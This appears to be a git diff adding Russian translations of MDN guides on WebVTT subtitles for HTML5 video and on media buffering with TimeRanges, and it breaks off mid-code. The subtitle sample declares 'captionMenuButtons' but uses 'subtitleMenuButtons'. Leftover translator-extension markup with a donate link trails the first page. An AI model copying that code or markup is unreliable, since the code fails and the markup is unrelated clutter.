--- /dev/null
+++ b/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html
@@ -0,0 +1,407 @@
+---
+title: Adding captions and subtitles to HTML5 video
+slug: >-
+  Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video
+translation_of: >-
+  Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video
+---
+<div class="summary">
+<blockquote>
+<p><span class="seoSummary">В других статьях мы рассмотрели как  <a href="https://developer.mozilla.org/en-US/Apps/Build/Manipulating_media/cross_browser_video_player">создать cross browser видео плеер</a> используя {{ domxref("HTMLMediaElement") }} и {{ domxref("Window.fullScreen") }} APIs, а так-же как  <a href="https://developer.mozilla.org/en-US/Apps/Build/Manipulating_media/Video_player_styling_basics">стилизовать плеер</a>. В этой статье мы возьмем тот же плеер и покажем как добавить  подписи и субтитры, используя {{ domxref("Web_Video_Text_Tracks_Format","the WebVTT format") }} и {{ htmlelement("track") }} элемент.</span></p>
+</blockquote>
+</div>
+
+<h2 id="Пример_видео_с_подписями">Пример видео с подписями</h2>
+
+<p>В этой статье мы сошлемся на пример плеера с подписями. Этот пример использует отрывок из <a href="http://www.sintel.org/">Sintel open movie</a>, созданного <a href="http://www.blender.org/foundation/">Blender Foundation</a>.</p>
+
+<p><img alt='Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."' src="https://mdn.mozillademos.org/files/7887/video-player-with-captions.png" style="display: block; height: 365px; margin: 0px auto; width: 593px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: вы можете найти <a href="https://github.com/iandevlin/iandevlin.github.io/tree/master/mdn/video-player-with-captions">source on Github</a>, а так же <a href="http://iandevlin.github.io/mdn/video-player-with-captions/">посмотреть пример</a>.</p>
+</div>
+
+<h2 id="HTML5_и_Video_Captions">HTML5 и Video Captions</h2>
+
+<p>До того как погрузиться в то, как добавить подписи в видео плеер, мы хотели бы упомянуть о некоторых вещах, о которых вы должны знать перед тем как начать.</p>
+
+<h3 id="Подписи_или_Субтитры">Подписи или Субтитры</h3>
+
+<p><a href="http://web.archive.org/web/20160117160743/http://screenfont.ca/learn/">Подписи и субтитры не одно и тоже</a>: они имеют существенные различия для зрителя, и передают различную информацию, мы рекомендуем ознакомится с различиями, если вы не уверены, что они есть. Однако технически они реализуются одинаково, поэтому материал в нашей статье применим к обоим.</p>
+
+<p>В этой статье мы сошлемся на text tracks, отображаемые как субтистры, т.к их контент направлен на слышащих людей, со сложностью понимания языка в фильме, а не на людей с плохим или отсутствием слуха.</p>
+
+<h3 id="Елемент_&lt;track>">Елемент &lt;track&gt; </h3>
+
+<p>HTML5 позволяет нам указать субтитры для видео, используя {{ htmlelement("track") }} елемент. Различные атрибуты этого элемента позволяют нам указать такие вещи как тип контента, который мы хотим разместить, язык и конечно ссылку на текстовый файл который содержит информацию о субтитрах. </p>
+
+<h3 id="WebVTT">WebVTT</h3>
+
+<p>Файлы содержащие данные о субтитрах - это простой текстовый файл, который следует специальному формату,  такому как <a href="https://developer.mozilla.org/en-US/docs/HTML/WebVTT">Web Video Text Tracks</a> (WebVTT) формат. <a href="http://dev.w3.org/html5/webvtt/">WebVTT specification</a> всё еще работает, по этому основные его части стабильны и мы можем использовать их сегодня. </p>
+
+<p>Поставщики видео контента (такие как <a href="http://www.blender.org/foundation/">Blender Foundation</a>) предоставляют и подписи и субтитры в текстовом формате с их видео, но они обычно в SubRip Text (SRT) формате. Этот формат может быть легко переконвертирован в WebVTT, используя  online  конвертер  например такой как <a href="https://atelier.u-sub.net/srt2vtt/">srt2vtt</a>.</p>
+
+<h2 id="Modifications_to_the_HTML_and_CSS">Modifications to the HTML and CSS</h2>
+
+<p>В этом разделе представлены модификции, сделанные в коде предыдущих статей, для того чтобы облегчить добавление субтитров в видео. Если вам это не интересно и вы просто хотите идти дальше в JavaScript и более соотвествующий CSS, пропустите  {{ anch("Subtitle implementation") }} раздел.</p>
+
+<p>В этом примере мы используем другое видео, <a href="http://www.sintel.org/">Sintel</a>, так как оно имеет больше речи и следовательно лучше иллюстрирует работу субтитров.</p>
+
+<h3 id="HTML_Markup">HTML Markup</h3>
+
+<p>Как упоминалось выше, нам необходимо использовать новый HTML5 <code>&lt;track&gt;</code> чтобы добавить файл с субтитрами в HTML5 Video. У нас уже имеется субтритры в 3х различных локалях, такие как English, German и Spanish, чтож теперь мы привяжем все 3 соотвествующих VTT файла, добавляя <code>&lt;track&gt;</code> внутрь нашего HTML5 <code>&lt;video&gt;</code> элемента: </p>
+
+<pre class="brush: html">&lt;video id="video" controls preload="metadata"&gt;
+   &lt;source src="video/sintel-short.mp4" type="video/mp4"&gt;
+   &lt;source src="video/sintel-short.webm" type="video/webm"&gt;
+   &lt;track label="English" kind="subtitles" srclang="en" src="captions/vtt/sintel-en.vtt" default&gt;
+   &lt;track label="Deutsch" kind="subtitles" srclang="de" src="captions/vtt/sintel-de.vtt"&gt;
+   &lt;track label="Español" kind="subtitles" srclang="es" src="captions/vtt/sintel-es.vtt"&gt;
+&lt;/video&gt;</pre>
+
+<p>Как вы можете видеть, каждый <code>&lt;track&gt;</code> элемент имеет следующие установленные атрибуты:</p>
+
+<ul>
+ <li><code>kind</code> is given a value of <code>subtitles</code>, indicating the type of content the files contain</li>
+ <li><code>label</code> is given a value indicating which language that subtitle set is for  — for example <code>English</code> or <code>Deutsch</code> — these labels will appear in the user interface to allow the user to easily select which subtitle language they want to see.</li>
+ <li><code>src</code> is assigned a valid URL pointing to the relevant WebVTT subtitle file in each case.</li>
+ <li><code>srclang</code> indicates what language each subtitle files' contents are in.</li>
+ <li>The <code>default</code> attribute is set on the English <code>&lt;track&gt;</code> element, indicating to the browser that this is the default subtitle file definition to use when subtitles have been turned on and the user has not made a specific selection.</li>
+</ul>
+
+<p>В дополнении к  нашему <code>&lt;track&gt;</code> элементу, мы так же добавили новую кнопку контроля меню субтитров. Как следствие, контроллеры видео выглядят следующим образом: </p>
+
+<pre class="brush: html;highlight[13]">&lt;div id="video-controls" class="controls" data-state="hidden"&gt;
+   &lt;button id="playpause" type="button" data-state="play"&gt;Play/Pause&lt;/button&gt;
+   &lt;button id="stop" type="button" data-state="stop"&gt;Stop&lt;/button&gt;
+   &lt;div class="progress"&gt;
+      &lt;progress id="progress" value="0" min="0"&gt;
+         &lt;span id="progress-bar"&gt;&lt;/span&gt;
+      &lt;/progress&gt;
+   &lt;/div&gt;
+   &lt;button id="mute" type="button" data-state="mute"&gt;Mute/Unmute&lt;/button&gt;
+   &lt;button id="volinc" type="button" data-state="volup"&gt;Vol+&lt;/button&gt;
+   &lt;button id="voldec" type="button" data-state="voldown"&gt;Vol-&lt;/button&gt;
+   &lt;button id="fs" type="button" data-state="go-fullscreen"&gt;Fullscreen&lt;/button&gt;
+   &lt;button id="subtitles" type="button" data-state="subtitles"&gt;CC&lt;/button&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS_Changes">CSS Changes</h3>
+
+<p>Видео контроллеры подверглись некоторым изменениям, чтобы сделать пространство для новой кнопки, но эти изменения относительно просты.</p>
+
+<p>В подписи кнопки не изпользовано никаких изображений, поэтому это просто стилизовано как: </p>
+
+<pre class="brush: css">.controls button[data-state="subtitles"] {
+    height:85%;
+    text-indent:0;
+    font-size:16px;
+    font-size:1rem;
+    font-weight:bold;
+    color:#666;
+    background:#000;
+    border-radius:2px;
+}</pre>
+
+<p>Есть так же и другие CSS  изменения, характерные для некоторой дополнительной реализации JavaScript, но об этом будет упомянуто ниже. </p>
+
+<h2 id="Subtitle_implementation">Subtitle implementation</h2>
+
+<p>Множество того, что мы делаем для доступа к видео субтитрам, вращается вокруг JavaScript. Аналогично видео контроллерам, если браузер поддерживает HTML5 video субтитры, существует контроллер, входящий в состав встроенного набора управления, чтобы получить доступ к ним. Однако, определив наши собственные элементы управления видео, эта кнопка является скрытой, поэтому мы должны определить свою.</p>
+
+<p>Браузеры различаются в зависимости от того, что они поддерживают, поэтому мы должны попытаться предоставить единый UI, для каждого браузера, где это возможно.</p>
+
+<h3 id="Initial_setup">Initial setup</h3>
+
+<p>Как и со всеми другими конопками, одно из первых вещеей, которые мы должны сделать - это получить дескриптор нашей кноки субтитров:</p>
+
+<pre class="brush: js">var subtitles = document.getElementById('subtitles');</pre>
+
+<p>Мы так же изначально отключаем все субтитры, в случае если браузер включает некоторые  из них по умолчанию:</p>
+
+<pre class="brush: js">for (var i = 0; i &lt; video.textTracks.length; i++) {
+   video.textTracks[i].mode = 'hidden';
+}</pre>
+
+<p>Свойство <code>video.textTracks</code>  содержит массив всех текстовых тректов, присоединных к видео. Мы проходим по каждому и утанавливаем его  <code>mode</code> в <code>hidden</code></p>
+
+<p>Примечание:  <a href="http://dev.w3.org/html5/webvtt/#api">WebVTT API</a> дает нам доступ ко всем текстовым трекам, что определены в HTML5 video, c помощью элемента  <code>&lt;track&gt;</code></p>
+
+<h3 id="Building_a_caption_menu">Building a caption menu</h3>
+
+<p>Наша цель - это использовать кнопку <code>subtitles</code> , которую мы добавили ранее, чтобы дать возможность пользователю выбрать тот язык, который он хочет или полностью отключить субтитры.</p>
+
+<p>Мы добавили кнопку, но перед тем как что-то сделать, мы должны создать меню, которое с ней идет. Это меню создается динамически, т.к языки могут быть добавлены или удалены после, простым редактированием элементов  <code>&lt;track&gt;</code> в разметке видео.</p>
+
+<p>Все что нам необходимо сделать - это пройти через  <code>textTracks</code>, читая их свойства и строя меню из них:</p>
+
+<pre class="brush: js">var subtitlesMenu;
+if (video.textTracks) {
+   var df = document.createDocumentFragment();
+   var subtitlesMenu = df.appendChild(document.createElement('ul'));
+   subtitlesMenu.className = 'subtitles-menu';
+   subtitlesMenu.appendChild(createMenuItem('subtitles-off', '', 'Off'));
+   for (var i = 0; i &lt; video.textTracks.length; i++) {
+      subtitlesMenu.appendChild(createMenuItem('subtitles-' + video.textTracks[i].language, video.textTracks[i].language, video.textTracks[i].label));
+   }
+   videoContainer.appendChild(subtitlesMenu);
+}</pre>
+
+<p>This code creates a {{ domxref("documentFragment") }}, which is used to hold an unordered list containing our subtitles menu. First of all an option is added to allow the user to switch all subtitles off, and then buttons are added for each text track, reading the language and label from each one.</p>
+
+<p>The creation of each list item and button is done by the <code>createMenuItem()</code> function, which is defined as follows:</p>
+
+<pre class="brush: js">var captionMenuButtons = [];
+var createMenuItem = function(id, lang, label) {
+   var listItem = document.createElement('li');
+   var button = listItem.appendChild(document.createElement('button'));
+   button.setAttribute('id', id);
+   button.className = 'subtitles-button';
+   if (lang.length &gt; 0) button.setAttribute('lang', lang);
+   button.value = label;
+   button.setAttribute('data-state', 'inactive');
+   button.appendChild(document.createTextNode(label));
+   button.addEventListener('click', function(e) {
+      // Set all buttons to inactive
+      subtitleMenuButtons.map(function(v, i, a) {
+         subtitleMenuButtons[i].setAttribute('data-state', 'inactive');
+      });
+      // Find the language to activate
+      var lang = this.getAttribute('lang');
+      for (var i = 0; i &lt; video.textTracks.length; i++) {
+         // For the 'subtitles-off' button, the first condition will never match so all will subtitles be turned off
+         if (video.textTracks[i].language == lang) {
+            video.textTracks[i].mode = 'showing';
+            this.setAttribute('data-state', 'active');
+         }
+         else {
+            video.textTracks[i].mode = 'hidden';
+         }
+      }
+      subtitlesMenu.style.display = 'none';
+   });
+   subtitleMenuButtons.push(button);
+   return listItem;
+}</pre>
+
+<p>This function builds the required {{ htmlelement("li") }} and {{ htmlelement("button") }} elements, and returns them so they can be added to the subtitles menu list. It also sets up the required event listeners on the button to toggle the relevant subtitle set on or off. This is done by simply setting the required subtlte's <code>mode</code> attribute to <code>showing</code>, and setting the others to <code>hidden</code>.</p>
+
+<p>Once the menu is built, it is then inserted into the DOM at the bottom of the videoContainer.<br>
+ <br>
+ Initially the menu is hidden by default, so an event listener needs to be added to our subtitles button to toggle it:</p>
+
+<pre class="brush: js">subtitles.addEventListener('click', function(e) {
+   if (subtitlesMenu) {
+      subtitlesMenu.style.display = (subtitlesMenu.style.display == 'block' ? 'none' : 'block');
+   }
+});</pre>
+
+<h3 id="Subtitle_menu_CSS">Subtitle menu CSS</h3>
+
+<p>We also added some rudimentary styling for the newly created subtitles menu:</p>
+
+<pre class="brush: css">.subtitles-menu {
+    display:none;
+    position:absolute;
+    bottom:14.8%;
+    right:20px;
+    background:#666;
+    list-style-type:none;
+    margin:0;
+    padding:0;
+    width:100px;
+    padding:10px;
+}
+
+.subtitles-menu li {
+    padding:0;
+    text-align:center;
+}
+
+.subtitles-menu li button {
+    border:none;
+    background:#000;
+    color:#fff;
+    cursor:pointer;
+    width:90%;
+    padding:2px 5px;
+    border-radius:2px;
+}</pre>
+
+<h2 id="Styling_the_displayed_subtitles">Styling the displayed subtitles</h2>
+
+<p>One of the less well known about and supported features of WebVTT is the ability to style the individual subtitles (something called text cues) via <a href="http://dev.w3.org/html5/webvtt/#css-extensions">CSS Extensions</a>.</p>
+
+<p>The <code>::cue</code> pseudo-element is the key to targetting individual text track cues for styling, as it matches any defined cue. There are only a handful of CSS properties that can be applied to a text cue:</p>
+
+<ul>
+ <li>{{ cssxref("color") }}</li>
+ <li>{{ cssxref("opacity") }}</li>
+ <li>{{ cssxref("visibility") }}</li>
+ <li>{{ cssxref("text-decoration") }}</li>
+ <li>{{ cssxref("text-shadow") }}</li>
+ <li>{{ cssxref("background") }} shorthand properties</li>
+ <li>{{ cssxref("outline") }} shorthand properties</li>
+ <li>{{ cssxref("font") }} shorthand properties, including {{ cssxref("line-height") }}</li>
+ <li>{{ cssxref("white-space") }}</li>
+</ul>
+
+<p>For example, to change the text colour of the text track cues you can write:</p>
+
+<pre class="brush: css">::cue {
+   color:#ccc;
+}</pre>
+
+<p>If the WebVTT file uses <a href="http://dev.w3.org/html5/webvtt/#dfn-webvtt-cue-voice-span">voice spans</a>, which allow cues to be defined as having a particular "voice":</p>
+
+<pre>0
+00:00:00.000 --&gt; 00:00:12.000
+&lt;v Test&gt;[Test]&lt;/v&gt;</pre>
+
+<p>Then this specific 'voice' will be stylable like so:</p>
+
+<pre class="brush: css">::cue(v[voice='Test']) {
+   color:#fff;
+   background:#0095dd;
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Some of the styling of cues with ::cue currently works on Chrome, Opera, and Safari, but not yet on Firefox.</p>
+</div>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+<p><a href="http://caniuse.com/webvtt">Browser support for WebVTT and the <code>&lt;track&gt;</code> element</a> is fairly good, although some browsers differ slightly in their implementation.</p>
+
+<h3 id="Internet_Explorer">Internet Explorer</h3>
+
+<p>Internet Explorer 10+ subtitles are enabled by default, and the default controls contain a button and a menu that offers the same functionality as the menu we just built. The <code>default</code> attribute is also supported.</p>
+
+<div class="note">
+<p><strong>Note</strong>: IE will completely ignore WebVTT files unless you define the MIME type. This can easily be done by adding an <code>.htaccess</code> file to an appropriate directory that contains <code>AddType text/vtt .vtt</code>.</p>
+</div>
+
+<h3 id="Safari">Safari</h3>
+
+<p>Safari 6.1+ has similar support to Internet Explorer 10+, displaying a menu with the different available options, with the addition of an "Auto" option, which allows the browser to choose.</p>
+
+<h3 id="Chrome_and_Opera">Chrome and Opera</h3>
+
+<p>These browsers have similar implementations again: subtitles are enabled by default and the default control set contains a 'cc' button that turns subtitles on and off. Chrome and Opera ignore the <code>default</code> attribute on the <code>&lt;track&gt;</code> element and will instead try to match the browser's language to the subtitle's language.</p>
+
+<h3 id="Firefox">Firefox</h3>
+
+<p>Firefox's implementation was completely broken due to a <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=981280">bug</a>, leading to Mozilla turning off WebVTT support by default (you can turn it on via the <code>media.webvtt.enabled</code> flag.) However, <s>this bug looks to have been fixed and WebVTT support re-enabled as of Gecko 31, so this will not be a problem for Firefox final release users for much longer (on Gecko 29 as of the time of this writing)</s> this has been fixed as of Firefox 31, and everything works as it should.</p>
+
+<h2 id="Plugins">Plugins</h2>
+
+<p>If, after reading through this article you decide that you can't be bothered to do all of this and want someone else to do it for you, there are plenty of plugins out there that offer caption and subtitle support that you can use.</p>
+
+<dl>
+ <dt><a href="http://www.delphiki.com/html5/playr/">playr</a></dt>
+ <dd>This small plugin implements subtitles, captions, and chapters as well as both WebVTT and SRT file formats.</dd>
+ <dt><a href="https://flowplayer.org/player/">Flowplayer</a></dt>
+ <dd>HTML5 player supporting WebVTT.</dd>
+ <dt><a href="http://www.jwplayer.com/">jwplayer</a></dt>
+ <dd>This video player is very extensive and does a lot more than simply support video captions. It supports the WebVTT, SRT and DFXP formats.</dd>
+ <dt><a href="http://mediaelementjs.com/">MediaElement.js</a></dt>
+ <dd>Another complete video player that also support video captions, albeit only in SRT format.</dd>
+ <dt><a href="http://www.leanbackplayer.com/">LeanBack Player</a></dt>
+ <dd>Yet another video player that supports WebVTT captions as well as providing other standard player functionality.</dd>
+ <dt><a href="http://sublimevideo.net">SublimeVideo</a></dt>
+ <dd>This player also supports captions through WebVTT and SRT files.</dd>
+ <dt><a href="http://www.videojs.com/">Video.js</a></dt>
+ <dd>Supports WebVTT video subtitles.</dd>
+ <dt><a href="https://www.radiantmediaplayer.com">Radiant Media Player</a></dt>
+ <dd>Supports multi-languages WebVTT closed captions</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: You can find an excellent list of HTML5 Video Players and their current "state" at <a href="http://praegnanz.de/html5video/">HTML5 Video Player Comparison</a>.</p>
+</div>
+
+<p> </p>
+
+<div id="SL_balloon_obj" style="display: block;">
+<div class="SL_ImTranslatorLogo" id="SL_button" style="display: none; opacity: 1;"> </div>
+
+<div id="SL_shadow_translation_result2" style="display: none; margin-top: 30px; margin-left: 1px; direction: ltr; text-align: left; font-size: 14px; line-height: 20px;">Habrá un botón provisto dentro del control nativo establecido para acceder a ellos</div>
+
+<div id="SL_shadow_translator" style="display: none; left: 25px; top: 4361px; box-shadow: rgb(186, 185, 181) 0px 0px 0px; width: 467px;">
+<div id="SL_planshet" style="background: rgb(239, 239, 239);">
+<div id="SL_arrow_up" style="display: none; left: 123px;"> </div>
+
+<div id="SL_Bproviders" style="">
+<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
+
+<div class="SL_BL_LABLE_OFF" id="SL_P1" title="Microsoft">M</div>
+
+<div class="SL_BL_LABLE_OFF" id="SL_P2" title="Translator">T</div>
+</div>
+
+<div id="SL_alert_bbl" style="display: none;">
+<div id="SLHKclose" style=""> </div>
+
+<div id="SL_alert_cont"> </div>
+</div>
+
+<div id="SL_TB">
+<table id="SL_tables">
+ <tbody>
+  <tr>
+   <td class="SL_td"><input></td>
+   <td class="SL_td"><select><option value="auto">Detect language</option><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="be">Belarusian</option><option value="bn">Bengali</option><option value="bs">Bosnian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinese (Simplified)</option><option value="zh-TW">Chinese (Traditional)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian Creole</option><option value="ha">Hausa</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="ig">Igbo</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="jw">Javanese</option><option value="kn">Kannada</option><option value="kk">Kazakh</option><option value="km">Khmer</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="mg">Malagasy</option><option value="ms">Malay</option><option value="ml">Malayalam</option><option value="mt">Maltese</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongolian</option><option value="my">Myanmar (Burmese)</option><option value="ne">Nepali</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="pa">Punjabi</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="st">Sesotho</option><option value="si">Sinhala</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option value="so">Somali</option><option value="es">Spanish</option><option value="su">Sundanese</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="tg">Tajik</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="uz">Uzbek</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option><option value="yo">Yoruba</option><option value="zu">Zulu</option></select></td>
+   <td class="SL_td">
+    <div id="SL_switch_b" style="cursor: not-allowed;" title="This function gets disabled if the source language is set to 'Detect language'"> </div>
+   </td>
+   <td class="SL_td"><select><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="be">Belarusian</option><option value="bn">Bengali</option><option value="bs">Bosnian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinese (Simplified)</option><option value="zh-TW">Chinese (Traditional)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian Creole</option><option value="ha">Hausa</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="ig">Igbo</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="jw">Javanese</option><option value="kn">Kannada</option><option value="kk">Kazakh</option><option value="km">Khmer</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="mg">Malagasy</option><option value="ms">Malay</option><option value="ml">Malayalam</option><option value="mt">Maltese</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongolian</option><option value="my">Myanmar (Burmese)</option><option value="ne">Nepali</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="pa">Punjabi</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="st">Sesotho</option><option value="si">Sinhala</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option value="so">Somali</option><option selected value="es">Spanish</option><option value="su">Sundanese</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="tg">Tajik</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="uz">Uzbek</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option><option value="yo">Yoruba</option><option value="zu">Zulu</option></select></td>
+   <td class="SL_td"> </td>
+   <td class="SL_td">
+    <div id="SL_TTS_voice" style="display: none;" title="Listen to the translation"> </div>
+   </td>
+   <td class="SL_td">
+    <div class="SL_copy_hand" id="SL_copy" style="" title="Copy translation"> </div>
+   </td>
+   <td class="SL_td">
+    <div id="SL_bbl_font_patch" style="display: block;"> </div>
+
+    <div class="SL_font_on" id="SL_bbl_font" style="" title="Font size"> </div>
+   </td>
+   <td class="SL_td">
+    <div id="SL_bbl_help" style="" title="Help"> </div>
+   </td>
+   <td class="SL_td">
+    <div class="SL_pin_off" id="SL_pin" style="" title="Pin pop-up bubble"> </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+
+<div id="SL_shadow_translation_result" style="direction: ltr; text-align: left; font-size: 14px; line-height: 20px;">Habrá un botón provisto dentro del control nativo establecido para acceder a ellos</div>
+
+<div class="SL_loading" id="SL_loading" style="display: block;"> </div>
+
+<div id="SL_player2" style="display: none; height: 0px;"> </div>
+
+<div id="SL_alert100" style="display: none;">Text-to-speech function is limited to 200 characters</div>
+
+<div id="SL_Balloon_options" style="background: rgb(239, 239, 239);">
+<div id="SL_arrow_down" style="display: block; left: 123px;"> </div>
+
+<table id="SL_tbl_opt" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td><input></td>
+   <td>
+    <div id="SL_BBL_IMG" style="" title="Show Translator's button 3 second(s)"> </div>
+   </td>
+   <td><a class="SL_options" title="Show options">Options</a> : <a class="SL_options" title="Translation History">History</a> : <a class="SL_options" title="ImTranslator Feedback">Feedback</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Make a small contribution">Donate</a></td>
+   <td><span id="SL_Balloon_Close" title="Close">Close</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+</div>
diff --git a/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html b/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html
new file mode 100644
index 0000000000..48e7b00f6c
--- /dev/null
+++ b/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html
@@ -0,0 +1,216 @@
+---
+title: 'Медиа-буферизация, поиск и временные диапазоны'
+slug: Web/Guide/Audio_and_video_delivery/buffering_seeking_time_ranges
+tags:
+  - Audio
+  - HTML5
+  - Video
+  - Буфер
+  - буферизация
+  - временные диапазоны
+  - поиск
+translation_of: Web/Guide/Audio_and_video_delivery/buffering_seeking_time_ranges
+---
+<div class="summary">
+<p><span class="seoSummary">Sometimes it's useful to know how much {{htmlelement("audio") }} or {{htmlelement("video") }} has downloaded or is playable without delay — a good example of this is the buffered progress bar of an audio or video player. This article discusses how to build a buffer/seek bar using <a href="https://developer.mozilla.org/en-US/docs/Web/API/TimeRanges">TimeRanges</a>, and other features of the media API.</span></p>
+</div>
+
+<h2 id="Buffered">Buffered</h2>
+
+<p>Атрибут <code>buffered</code> расскажет нам, какие части медиа-элемента были загружены. Он возвращает объект {{ domxref("TimeRanges") }}, который содержит информацию о том, какие куски медиа были загружены. Обычно он непрерывный, но если пользователь перескакивает, когда медиа-элемент занят буферизацией, он может содержать пропуски.</p>
+
+<p>Это будет работать с {{htmlelement("audio") }} или {{htmlelement("video") }}; теперь давайте рассмотрим простой пример для audio:</p>
+
+<pre class="brush: html">&lt;audio id="my-audio" controls src="music.mp3"&gt;
+&lt;/audio&gt;</pre>
+
+<p>Мы можем получить доступ к этому атрибутам, так:</p>
+
+<pre class="brush: js">var myAudio = document.getElementById('my-audio');
+
+var bufferedTimeRanges = myAudio.buffered;</pre>
+
+<h2 id="Объект_TimeRanges">Объект TimeRanges</h2>
+
+<p>TimeRanges cодержит данные о частях буферизованных участков медиафайла (один или более — сколько успело буферизоваться) (<a href="https://developer.mozilla.org/en-US/docs/Web/API/TimeRanges">Узнать больше о TimeRanges</a>).</p>
+
+<p>Объект {{ domxref("TimeRanges") }} имеет следующие свойства:</p>
+
+<ul>
+ <li><code>length</code>: число интервалов.</li>
+ <li><code>start(index)</code>: начальное время указанного интервала.</li>
+ <li><code>end(index)</code>: конечное время указанного интервала.</li>
+</ul>
+
+<p><span id="result_box" lang="ru"><span>Без действий пользователя обычно существует только один временной диапазон (</span></span>Time Ranges<span lang="ru"><span>), но если вы переходите по медиа-файлу, может появиться более одного диапазона, как показано на рисунке ниже.</span> <span>Получится два буферизированных диапазона по времени - один с 0 по 5 секунду, а второй - с 15 по 19 секунду.</span></span></p>
+
+<pre>------------------------------------------------------
+|=============|                    |===========|     |
+------------------------------------------------------
+0             5                    15          19    21</pre>
+
+<p><span id="result_box" lang="ru"><span>Для этого звукового файла</span></span> {{ domxref("TimeRange") }} будет иметь следующие доступные свойства:</p>
+
+<pre class="brush: js">myAudio.buffered.length;   // returns 2
+myAudio.buffered.start(0); // returns 0
+myAudio.buffered.end(0);   // returns 5
+myAudio.buffered.start(1); // returns 15
+myAudio.buffered.end(1);   // returns 19</pre>
+
+<p>Чтобы опробовать и визуализировать буферные диапазоны времени, мы можем написать немного HTML:</p>
+
+<pre class="brush: html">&lt;p&gt;
+  &lt;audio id="my-audio" controls&gt;
+    &lt;source src="music.mp3" type="audio/mpeg"&gt;
+  &lt;/audio&gt;
+&lt;/p&gt;
+&lt;p&gt;
+  &lt;canvas id="my-canvas" width="300" height="20"&gt;
+  &lt;/canvas&gt;
+&lt;/p&gt;</pre>
+
+<p>и немного JavaScript:</p>
+
+<pre class="brush: js">  window.onload = function(){
+
+    var myAudio = document.getElementById('my-audio');
+    var myCanvas = document.getElementById('my-canvas');
+    var context = myCanvas.getContext('2d');
+
+    context.fillStyle = 'lightgray';
+    context.fillRect(0, 0, myCanvas.width, myCanvas.height);
+    context.fillStyle = 'red';
+    context.strokeStyle = 'white';
+
+    var inc = myCanvas.width / myAudio.duration;
+
+    // отображение TimeRanges
+
+    myAudio.addEventListener('seeked', function() {
+      for (i = 0; i &lt; myAudio.buffered.length; i++) {
+
